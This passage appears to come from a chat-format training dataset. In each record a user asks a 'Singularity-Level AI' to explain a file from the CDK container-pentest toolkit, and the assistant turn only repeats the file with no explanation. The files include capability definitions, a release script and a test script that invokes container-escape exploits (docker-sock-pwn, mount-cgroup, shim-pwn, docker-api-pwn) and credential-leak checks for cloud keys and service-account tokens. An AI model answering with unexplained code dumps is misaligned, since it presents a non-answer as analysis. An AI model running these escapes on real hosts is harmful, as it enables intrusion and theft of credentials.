writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/capability/capability_define.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage capability\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n/**\n ** POSIX-draft defined capabilities.\n ** Refer to the code https://github.com/torvalds/linux/blob/master/include/uapi/linux/capability.h by torvalds.\n ** Code written by neargle on 2021-02-08, last commit id 9d3a39a5f1e45827b008fff1ee9cf3cac3409665.\n **/\n\n/* In a system with the [_POSIX_CHOWN_RESTRICTED] option defined, this\n overrides the restriction of changing file ownership and group\n ownership. */\n\nvar CAP_CHOWN = 0\n\n/* Override all DAC access, including ACL execute access if\n [_POSIX_ACL] is defined. Excluding DAC access covered by\n CAP_LINUX_IMMUTABLE. */\n\nvar CAP_DAC_OVERRIDE = 1\n\n/* Overrides all DAC restrictions regarding read and search on files\n and directories, including ACL restrictions if [_POSIX_ACL] is\n defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE. */\n\nvar CAP_DAC_READ_SEARCH = 2\n\n/* Overrides all restrictions about allowed operations on files, where\n file owner ID must be equal to the user ID, except where CAP_FSETID\n is applicable. It doesn't override MAC and DAC restrictions. */\n\nvar CAP_FOWNER = 3\n\n/* Overrides the following restrictions that the effective user ID\n shall match the file owner ID when setting the S_ISUID and S_ISGID\n bits on that file; that the effective group ID (or one of the\n supplementary group IDs) shall match the file owner ID when setting\n the S_ISGID bit on that file; that the S_ISUID and S_ISGID bits are\n cleared on successful return from chown(2) (not implemented). */\n\nvar CAP_FSETID = 4\n\n/* Overrides the restriction that the real or effective user ID of a\n process sending a signal must match the real or effective user ID\n of the process receiving the signal. */\n\nvar CAP_KILL = 5\n\n/* Allows setgid(2) manipulation */\n/* Allows setgroups(2) */\n/* Allows forged gids on socket credentials passing. */\n\nvar CAP_SETGID = 6\n\n/* Allows set*uid(2) manipulation (including fsuid). */\n/* Allows forged pids on socket credentials passing. */\n\nvar CAP_SETUID = 7\n\n/**\n ** Linux-specific capabilities\n **/\n\n/* Without VFS support for capabilities:\n * Transfer any capability in your permitted set to any pid,\n * remove any capability in your permitted set from any pid\n * With VFS support for capabilities (neither of above, but)\n * Add any capability from current's capability bounding set\n * to the current process' inheritable set\n * Allow taking bits out of capability bounding set\n * Allow modification of the securebits for a process\n */\n\nvar CAP_SETPCAP = 8\n\n/* Allow modification of S_IMMUTABLE and S_APPEND file attributes */\n\nvar CAP_LINUX_IMMUTABLE = 9\n\n/* Allows binding to TCP/UDP sockets below 1024 */\n/* Allows binding to ATM VCIs below 32 */\n\nvar CAP_NET_BIND_SERVICE = 10\n\n/* Allow broadcasting, listen to multicast */\n\nvar CAP_NET_BROADCAST = 11\n\n/* Allow interface configuration */\n/* Allow administration of IP firewall, masquerading and accounting */\n/* Allow setting debug option on sockets */\n/* Allow modification of routing tables */\n/* Allow setting arbitrary process / process group ownership on\n sockets */\n/* Allow binding to any address for transparent proxying (also via NET_RAW) */\n/* Allow setting TOS (type of service) */\n/* Allow setting promiscuous mode */\n/* Allow clearing driver statistics */\n/* Allow multicasting */\n/* Allow read/write of device-specific registers */\n/* Allow activation of ATM control sockets */\n\nvar CAP_NET_ADMIN = 12\n\n/* Allow use of RAW sockets */\n/* Allow use of PACKET sockets */\n/* Allow binding to any address for transparent proxying (also via NET_ADMIN) */\n\nvar CAP_NET_RAW = 13\n\n/* Allow locking of shared memory segments */\n/* Allow mlock and mlockall (which doesn't really have anything to do\n with IPC) */\n\nvar CAP_IPC_LOCK = 14\n\n/* Override IPC ownership checks */\n\nvar CAP_IPC_OWNER = 15\n\n/* Insert and remove kernel modules - modify kernel without limit */\nvar CAP_SYS_MODULE = 16\n\n/* Allow ioperm/iopl access */\n/* Allow sending USB messages to any device via /dev/bus/usb */\n\nvar CAP_SYS_RAWIO = 17\n\n/* Allow use of chroot() */\n\nvar CAP_SYS_CHROOT = 18\n\n/* Allow ptrace() of any process */\n\nvar CAP_SYS_PTRACE = 19\n\n/* Allow configuration of process accounting */\n\nvar CAP_SYS_PACCT = 20\n\n/* Allow configuration of the secure attention key */\n/* Allow administration of the random device */\n/* Allow examination and configuration of disk quotas */\n/* Allow setting the domainname */\n/* Allow setting the hostname */\n/* Allow calling bdflush() */\n/* Allow mount() and umount(), setting up new smb connection */\n/* Allow some autofs root ioctls */\n/* Allow nfsservctl */\n/* Allow VM86_REQUEST_IRQ */\n/* Allow to read/write pci config on alpha */\n/* Allow irix_prctl on mips (setstacksize) */\n/* Allow flushing all cache on m68k (sys_cacheflush) */\n/* Allow removing semaphores */\n/* Used instead of CAP_CHOWN to \"chown\" IPC message queues, semaphores\n and shared memory */\n/* Allow locking/unlocking of shared memory segment */\n/* Allow turning swap on/off */\n/* Allow forged pids on socket credentials passing */\n/* Allow setting readahead and flushing buffers on block devices */\n/* Allow setting geometry in floppy driver */\n/* Allow turning DMA on/off in xd driver */\n/* Allow administration of md devices (mostly the above, but some\n extra ioctls) */\n/* Allow tuning the ide driver */\n/* Allow access to the nvram device */\n/* Allow administration of apm_bios, serial and bttv (TV) device */\n/* Allow manufacturer commands in isdn CAPI support driver */\n/* Allow reading non-standardized portions of pci configuration space */\n/* Allow DDI debug ioctl on sbpcd driver */\n/* Allow setting up serial ports */\n/* Allow sending raw qic-117 commands */\n/* Allow enabling/disabling tagged queuing on SCSI controllers and sending\n arbitrary SCSI commands */\n/* Allow setting encryption key on loopback filesystem */\n/* Allow setting zone reclaim policy */\n/* Allow everything under CAP_BPF and CAP_PERFMON for backward compatibility */\n\nvar CAP_SYS_ADMIN = 21\n\n/* Allow use of reboot() */\n\nvar CAP_SYS_BOOT = 22\n\n/* Allow raising priority and setting priority on other (different\n UID) processes */\n/* Allow use of FIFO and round-robin (realtime) scheduling on own\n processes and setting the scheduling algorithm used by another\n process. */\n/* Allow setting cpu affinity on other processes */\n/* Allow setting realtime ioprio class */\n/* Allow setting ioprio class on other processes */\n\nvar CAP_SYS_NICE = 23\n\n/* Override resource limits. Set resource limits. */\n/* Override quota limits. */\n/* Override reserved space on ext2 filesystem */\n/* Modify data journaling mode on ext3 filesystem (uses journaling\n resources) */\n/* NOTE: ext2 honors fsuid when checking for resource overrides, so\n you can override using fsuid too */\n/* Override size restrictions on IPC message queues */\n/* Allow more than 64hz interrupts from the real-time clock */\n/* Override max number of consoles on console allocation */\n/* Override max number of keymaps */\n/* Control memory reclaim behavior */\n\nvar CAP_SYS_RESOURCE = 24\n\n/* Allow manipulation of system clock */\n/* Allow irix_stime on mips */\n/* Allow setting the real-time clock */\n\nvar CAP_SYS_TIME = 25\n\n/* Allow configuration of tty devices */\n/* Allow vhangup() of tty */\n\nvar CAP_SYS_TTY_CONFIG = 26\n\n/* Allow the privileged aspects of mknod() */\n\nvar CAP_MKNOD = 27\n\n/* Allow taking of leases on files */\n\nvar CAP_LEASE = 28\n\n/* Allow writing the audit log via unicast netlink socket */\n\nvar CAP_AUDIT_WRITE = 29\n\n/* Allow configuration of audit via unicast netlink socket */\n\nvar CAP_AUDIT_CONTROL = 30\n\n/* Set or remove capabilities on files */\n\nvar CAP_SETFCAP = 31\n\n/* Override MAC access.\n The base kernel enforces no MAC policy.\n An LSM may enforce a MAC policy, and if it does and it chooses\n to implement capability based overrides of that policy, this is\n the capability it should use to do so. */\n\nvar CAP_MAC_OVERRIDE = 32\n\n/* Allow MAC configuration or state changes.\n The base kernel requires no MAC configuration.\n An LSM may enforce a MAC policy, and if it does and it chooses\n to implement capability based checks on modifications to that\n policy or the data required to maintain it, this is the\n capability it should use to do so. */\n\nvar CAP_MAC_ADMIN = 33\n\n/* Allow configuring the kernel's syslog (printk behaviour) */\n\nvar CAP_SYSLOG = 34\n\n/* Allow triggering something that will wake the system */\n\nvar CAP_WAKE_ALARM = 35\n\n/* Allow preventing system suspends */\n\nvar CAP_BLOCK_SUSPEND = 36\n\n/* Allow reading the audit log via multicast netlink socket */\n\nvar CAP_AUDIT_READ = 37\n\n/*\n * Allow system performance and observability privileged operations\n * using perf_events, i915_perf and other kernel subsystems\n */\n\nvar CAP_PERFMON = 38\n\n/*\n * CAP_BPF allows the following BPF operations:\n * - Creating all types of BPF maps\n * - Advanced verifier features\n * - Indirect variable access\n * - Bounded loops\n * - BPF to BPF function calls\n * - Scalar precision tracking\n * - Larger complexity limits\n * - Dead code elimination\n * - And potentially other features\n * - Loading BPF Type Format (BTF) data\n * - Retrieve xlated and JITed code of BPF programs\n * - Use bpf_spin_lock() helper\n *\n * CAP_PERFMON relaxes the verifier checks further:\n * - BPF progs can use of pointer-to-integer conversions\n * - speculation attack hardening measures are bypassed\n * - bpf_probe_read to read arbitrary kernel memory is allowed\n * - bpf_trace_printk to print kernel memory is allowed\n *\n * CAP_SYS_ADMIN is required to use bpf_probe_write_user.\n *\n * CAP_SYS_ADMIN is required to iterate system wide loaded\n * programs, maps, links, BTFs and convert their IDs to file descriptors.\n *\n * CAP_PERFMON and CAP_BPF are required to load tracing programs.\n * CAP_NET_ADMIN and CAP_BPF are required to load networking programs.\n */\nvar CAP_BPF = 39\n\n/* Allow checkpoint/restore related operations */\n/* Allow PID selection during clone3() */\n/* Allow writing to ns_last_pid */\n\nvar CAP_CHECKPOINT_RESTORE = 40\n\ntype Cap struct {\n\tint\n}\n\nvar DockerDefaultCaps = []string{\n\t\"CAP_CHOWN\",\n\t\"CAP_DAC_OVERRIDE\",\n\t\"CAP_FOWNER\",\n\t\"CAP_FSETID\",\n\t\"CAP_KILL\",\n\t\"CAP_SETGID\",\n\t\"CAP_SETUID\",\n\t\"CAP_SETPCAP\",\n\t\"CAP_NET_BIND_SERVICE\",\n\t\"CAP_NET_RAW\",\n\t\"CAP_SYS_CHROOT\",\n\t\"CAP_MKNOD\",\n\t\"CAP_AUDIT_WRITE\",\n\t\"CAP_SETFCAP\",\n}\n\n// CAPStringsList cap strings with order\nvar CAPStringsList = []string{\n\t\"CAP_CHOWN\",\n\t\"CAP_DAC_OVERRIDE\",\n\t\"CAP_DAC_READ_SEARCH\",\n\t\"CAP_FOWNER\",\n\t\"CAP_FSETID\",\n\t\"CAP_KILL\",\n\t\"CAP_SETGID\",\n\t\"CAP_SETUID\",\n\t\"CAP_SETPCAP\",\n\t\"CAP_LINUX_IMMUTABLE\",\n\t\"CAP_NET_BIND_SERVICE\",\n\t\"CAP_NET_BROADCAST\",\n\t\"CAP_NET_ADMIN\",\n\t\"CAP_NET_RAW\",\n\t\"CAP_IPC_LOCK\",\n\t\"CAP_IPC_OWNER\",\n\t\"CAP_SYS_MODULE\",\n\t\"CAP_SYS_RAWIO\",\n\t\"CAP_SYS_CHROOT\",\n\t\"CAP_SYS_PTRACE\",\n\t\"CAP_SYS_PACCT\",\n\t\"CAP_SYS_ADMIN\",\n\t\"CAP_SYS_BOOT\",\n\t\"CAP_SYS_NICE\",\n\t\"CAP_SYS_RESOURCE\",\n\t\"CAP_SYS_TIME\",\n\t\"CAP_SYS_TTY_CONFIG\",\n\t\"CAP_MKNOD\",\n\t\"CAP_LEASE\",\n\t\"CAP_AUDIT_WRITE\",\n\t\"CAP_AUDIT_CONTROL\",\n\t\"CAP_SETFCAP\",\n\t\"CAP_MAC_OVERRIDE\",\n\t\"CAP_MAC_ADMIN\",\n\t\"CAP_SYSLOG\",\n\t\"CAP_WAKE_ALARM\",\n\t\"CAP_BLOCK_SUSPEND\",\n\t\"CAP_AUDIT_READ\",\n\t\"CAP_PERFMON\",\n\t\"CAP_BPF\",\n\t\"CAP_CHECKPOINT_RESTORE\",\n}\n\nfunc CapHexParser(capHex string) ([]string, error) {\n\tvar capTextList []string\n\n\tnumb, err := strconv.ParseUint(capHex, 16, 64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor i := 0; i < len(CAPStringsList); i++ {\n\t\tflag := numb & 0x1\n\t\tif flag == uint64(1) {\n\t\t\tcapTextList = append(capTextList, CAPStringsList[i])\n\t\t}\n\t\tnumb = numb >> 1\n\t}\n\n\treturn capTextList, nil\n}\n\nfunc CapListToString(lst []string) string {\n\treturn strings.Join(lst[:], \",\")\n}\n\nfunc CapHexToText(capHex string) string {\n\n\tlst, err := CapHexParser(capHex)\n\tif err != nil {\n\t\tfmt.Printf(\"CapHexParser error: %s\", err)\n\t\treturn \"\"\n\t}\n\treturn strings.Join(lst[:], \",\")\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/capability/capability_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage capability\n\nimport (\n\t\"testing\"\n)\n\nfunc TestCapHexParser(t *testing.T) {\n\tvar testcase = map[string]string{\n\t\t\"00000000a80425fb\": \"CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP\",\n\t\t\"00000000a80c25fb\": \"CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_SYS_PTRACE,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP\",\n\t\t\"00000000a82425fb\": \"CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_SYS_ADMIN,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP\",\n\t}\n\tfor k, v := range testcase {\n\t\tif CapHexToText(k) != v {\n\t\t\tt.Errorf(\"CapHexParser error parse %s: %s\", k, v)\n\t\t}\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/README.md\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n# CDK-Deploy-Test\n\nThis is the function test script, see doc: \n\n* https://github.com/cdk-team/CDK/wiki/Run-Test\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/realease_main.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nimport os\nfrom lib.conf import CDK\n\nversion = 'cdk_v0.10'\n\ncmd = '''\ncd {}; \nrm ../../cdk_release_binary/cdk_* 2>&1; \ngox -os \"linux darwin\" -arch \"386 amd64 arm arm64 mips mips64 mips64le mipsle\" 2>&1; \nmv cdk_* ../../cdk_release_binary/;\ncd ../../cdk_release_binary/ && tar -zcvf {}_release.tar.gz cdk_*;\n'''.strip().format(CDK.BUILD_PATH,version)\n\n\ndef gox_release():\n print(\"check cdk version\")\n print(\"check cdk banner in .go\")\n print(\"check cdk banner in readme.md\")\n print(\"check cdk banner in github wiki\")\n os.system(cmd)\n\n\nif __name__ == '__main__':\n gox_release()\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/test_main.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nimport shlex\nimport time\nimport os\nfrom lib.ssh_remote_action import update_remote_bin\nfrom lib.ssh_remote_action import check_host_evaluate\nfrom lib.ssh_remote_action import inside_container_cmd\nfrom lib.ssh_remote_action import check_host_exec\nfrom lib.k8s_remote_action import check_pod_exec, k8s_pod_upload\nfrom lib.k8s_selfbuild_action import selfbuild_k8s_pod_upload, check_selfbuild_k8s_pod_exec, k8s_master_ssh_cmd\nfrom lib.conf import CDK\n\n\ndef test_container():\n # BASE CDK\n\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='',\n white_list=['i@cdxy.me'],\n black_list=[],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='--help',\n white_list=['i@cdxy.me'],\n black_list=[],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='-v',\n white_list=['cdk '],\n black_list=[],\n verbose=False\n )\n\n # EVALUATE\n\n # host based evaluate\n white_list = [\n 'current dir: /root',\n 'current user: root',\n 'service found in process',\n 'sensitive env found',\n '\tsshd',\n 'available commands',\n 'curl,wget,nc',\n 'CapEff:\t0000003fffffffff',\n 'Possible Privileged Container',\n 'Filesystem:ext4',\n 'host unix-socket found',\n 'K8s API Server',\n 'K8s Service Account',\n 'Cloud Provider Metadata API',\n 'http://100.100.100.200/latest/meta-data/',\n 'system:anonymous',\n '/kubernetes.io/serviceaccount/token',\n 'failed to dial Google Cloud API',\n 'failed to dial Azure API',\n # for --full\n '/root/.bashrc',\n 'Sensitive Files',\n '/root/.ssh/authorized_keys'\n ]\n black_list = []\n check_host_evaluate('evaluate --full', white_list, black_list)\n\n # container-based evaluate\n white_list = [\n 'current dir: /',\n 'current user: root',\n 'available commands',\n 'find,ps',\n 'CapEff:\t00000000a80425fb',\n 'Filesystem:ext4',\n 'host unix-socket found',\n 'K8s API Server',\n 'K8s Service Account',\n 'Cloud Provider Metadata API',\n 'http://100.100.100.200/latest/meta-data/',\n 'system:anonymous',\n '/kubernetes.io/serviceaccount/token',\n 'failed to dial Google Cloud API',\n 'failed to dial Azure API',\n '/containerd-shim/',\n # for --full\n 'Sensitive Files',\n '/.dockerenv',\n 'cannot find kubernetes api host in ENV'\n ]\n black_list = []\n\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--net=host',\n cmd='evaluate --full',\n white_list=white_list,\n black_list=black_list\n )\n inside_container_cmd(\n image='alpine:latest',\n docker_args='--net=host',\n cmd='evaluate --full',\n white_list=white_list,\n black_list=black_list\n )\n # inside_container_cmd(\n # image = 'centos:latest',\n # docker_args = '--net=host',\n # cmd = 'evaluate --full',\n # white_list = white_list,\n # black_list = black_list\n # )\n\n # TOOL\n\n # tool: ifconfig\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='ifconfig',\n white_list=['lo', '127.0'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n\n # tool: ps\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='ps',\n white_list=['root', '/usr/bin', '1'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n\n # tool: ucurl\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'ucurl',\n white_list=['input args'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /var/run/docker.sock:/var/run/docker.sock',\n cmd=r'ucurl get /var/run/docker.sock http://127.0.0.1/info \\\"\\\"',\n white_list=['Containers'],\n black_list=['i@cdxy.me', 'input args'],\n verbose=False\n )\n\n # tool: probe\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='probe',\n white_list=['input args'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='probe 1.1.1.1 22 10 1000',\n white_list=['scanning'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='probe 1.1.1.1 22 50-999999 1000',\n white_list=['input arg'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n\n # tool: vi\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='vi',\n white_list=['Usage'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n\n # tool: nc\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='nc',\n white_list=['options'],\n black_list=['i@cdxy.me'],\n verbose=False\n )\n\n # EXPLOIT\n\n # exploit: --list\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--net=host',\n cmd='run --list',\n white_list=['test-poc'],\n black_list=['Options:', 'i@cdxy.me'],\n verbose=False\n )\n\n # exploit: shim-pwn\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--net=host',\n cmd=r'run shim-pwn \\\"touch /tmp/shim-pwn-success\\\"', # \" needs to escape in raw\n white_list=['containerd-shim', 'exploit success'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI '],\n verbose=False\n )\n time.sleep(1)\n check_host_exec('rm /tmp/shim-pwn-success', [], ['No such file or directory'], False)\n\n # exploit: docker-sock-check\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run docker-sock-check', # \" needs to escape in raw\n white_list=['invalid input args'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run docker-sock-check /var/run/docker.sock', # \" needs to escape in raw\n white_list=['no such file or directory'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /var/run/docker.sock:/var/run/docker.sock',\n cmd=r'run docker-sock-check /var/run/docker.sock', # \" needs to escape in raw\n white_list=['success', 'happy escaping'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit failed'],\n verbose=False\n )\n\n # exploit: docker-sock-check (will leave a container with image alpine:latest)\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run mount-cgroup', # \" needs to escape in raw\n white_list=['invalid input args'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run mount-cgroup \\\"touch /tmp/mount-cgroup-success\\\"', # \" needs to escape in raw\n white_list=['shell script saved to', 'Execute Shell', 'failed'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--privileged=true',\n cmd=r'run mount-cgroup \\\"touch /tmp/mount-cgroup-success\\\"', # \" needs to escape in raw\n white_list=['finished with output'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'failed'],\n verbose=False\n )\n time.sleep(1)\n check_host_exec('rm /tmp/mount-cgroup-success', [], ['No such file or directory'], False)\n\n # exploit: service-probe\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run service-probe', # \" needs to escape in raw\n white_list=['invalid input args'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run service-probe 192.168.1.1-^^10', # \" needs to escape in raw\n white_list=['Invalid IP Range'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run service-probe 127.0.0.1', # \" needs to escape in raw\n white_list=['scanning'],\n black_list=['i@cdxy.me', 'exploit failed', 'Invalid'],\n verbose=False\n )\n\n # exploit: mount-disk\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run mount-disk', # \" needs to escape in raw\n white_list=['failed', 'target container is not privileged'],\n black_list=['i@cdxy.me', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--privileged=true',\n cmd=r'run mount-disk', # \" needs to escape in raw\n white_list=['success', 'was mounted to'],\n black_list=['i@cdxy.me', 'failed'],\n verbose=False\n )\n\n # exploit: mount-procfs\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run mount-procfs', # \" needs to escape in raw\n white_list=['input args'],\n black_list=['i@cdxy.me', 'success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /proc:/host_proc',\n cmd=r'run mount-procfs /host_proc \\\"touch /tmp/mount-procfs-success\\\"', # \" needs to escape in raw\n white_list=['success', 'core dumped'],\n black_list=['i@cdxy.me', 'failed'],\n verbose=False\n )\n time.sleep(1)\n check_host_exec('rm /tmp/mount-procfs-success', [], ['No such file or directory'], False)\n\n # exploit: reverse-shell\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run reverse-shell', # \" needs to escape in raw\n white_list=['input args'],\n black_list=['i@cdxy.me', 'success'],\n verbose=False\n )\n\n # exploit: ak-leakage\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run ak-leakage', # \" needs to escape in raw\n white_list=['input args'],\n black_list=['i@cdxy.me', 'success'],\n verbose=False\n )\n check_host_exec(r'echo \"AKIA99999999999999AB\" > /tmp/ak-leakage', [], [], False)\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /tmp/ak-leakage:/tmp/ak-leakage',\n cmd=r'run ak-leakage /tmp', # \" needs to escape in raw\n white_list=['AKIA99999999999999AB'],\n black_list=['i@cdxy.me', 'input args'],\n verbose=False\n )\n check_host_exec(r'rm /tmp/ak-leakage', [], [], False)\n\n # run: rewrite-cgroup-devices\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--privileged=true',\n cmd=r'run rewrite-cgroup-devices', # \" needs to escape in raw\n white_list=['cdk_mknod_result', 'debugfs'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit failed'],\n verbose=False\n )\n\n # run: check-ptrace\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd='run check-ptrace',\n white_list=['SYS_PTRACE capability was disabled'],\n black_list=[],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--cap-add=SYS_PTRACE',\n cmd='run check-ptrace',\n white_list=['SYS_PTRACE capability was enabled', 'root'],\n black_list=[],\n verbose=False\n )\n\n # tool: dcurl\n check_host_exec(r'/root/cdk-fabric dcurl get http://127.0.0.1:2375/info \"\"', ['ContainersRunning'], [], False)\n\n # run: docker-api-pwn\n check_host_exec(\n r'/root/cdk-fabric run docker-api-pwn http://127.0.0.1:2375 \"touch /host/tmp/docker-api-pwn\"',\n ['Pulling', 'starting', 'finished'],\n [],\n False\n )\n time.sleep(1)\n check_host_exec('ls /tmp/docker-api-pwn', ['docker-api-pwn'], [], False)\n\n # exploit: docker-sock-pwn\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run docker-sock-pwn', # \" needs to escape in raw\n white_list=['invalid input args'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='',\n cmd=r'run docker-sock-pwn /var/run/docker.sock \"touch /tmp/docker-sock-pwn\"', # \" needs to escape in raw\n white_list=['no such file or directory'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit success'],\n verbose=False\n )\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /var/run/docker.sock:/var/run/docker.sock',\n cmd=r'run docker-sock-pwn /var/run/docker.sock \"touch /tmp/docker-sock-pwn\"', # \" needs to escape in raw\n white_list=['success', 'happy escaping', 'alpine:latest', '\"ID\"', 'starting container:', 'finished'],\n black_list=['i@cdxy.me', 'exploit failed', 'OCI ', 'exploit failed'],\n verbose=False\n )\n time.sleep(1)\n check_host_exec('ls /tmp/docker-sock-pwn', ['docker-sock-pwn'], [], False)\n\n\ndef test_pod():\n # evaluate in K8s\n white_list = [\n 'System Info',\n 'Services',\n 'Commands and Capabilities',\n '00000000a80425fb',\n 'Filesystem:ext4',\n 'net namespace isolated',\n 'api-server allows anonymous request',\n 'service-account is available',\n 'system:serviceaccount:default',\n 'Alibaba Cloud Metadata API available'\n ]\n check_pod_exec('evaluate', white_list, ['i@cdxy.me', 'input args'], False)\n\n # exploit: k8s-configmap-dump\n check_pod_exec(\n 'run k8s-configmap-dump',\n ['input args'],\n ['i@cdxy.me', 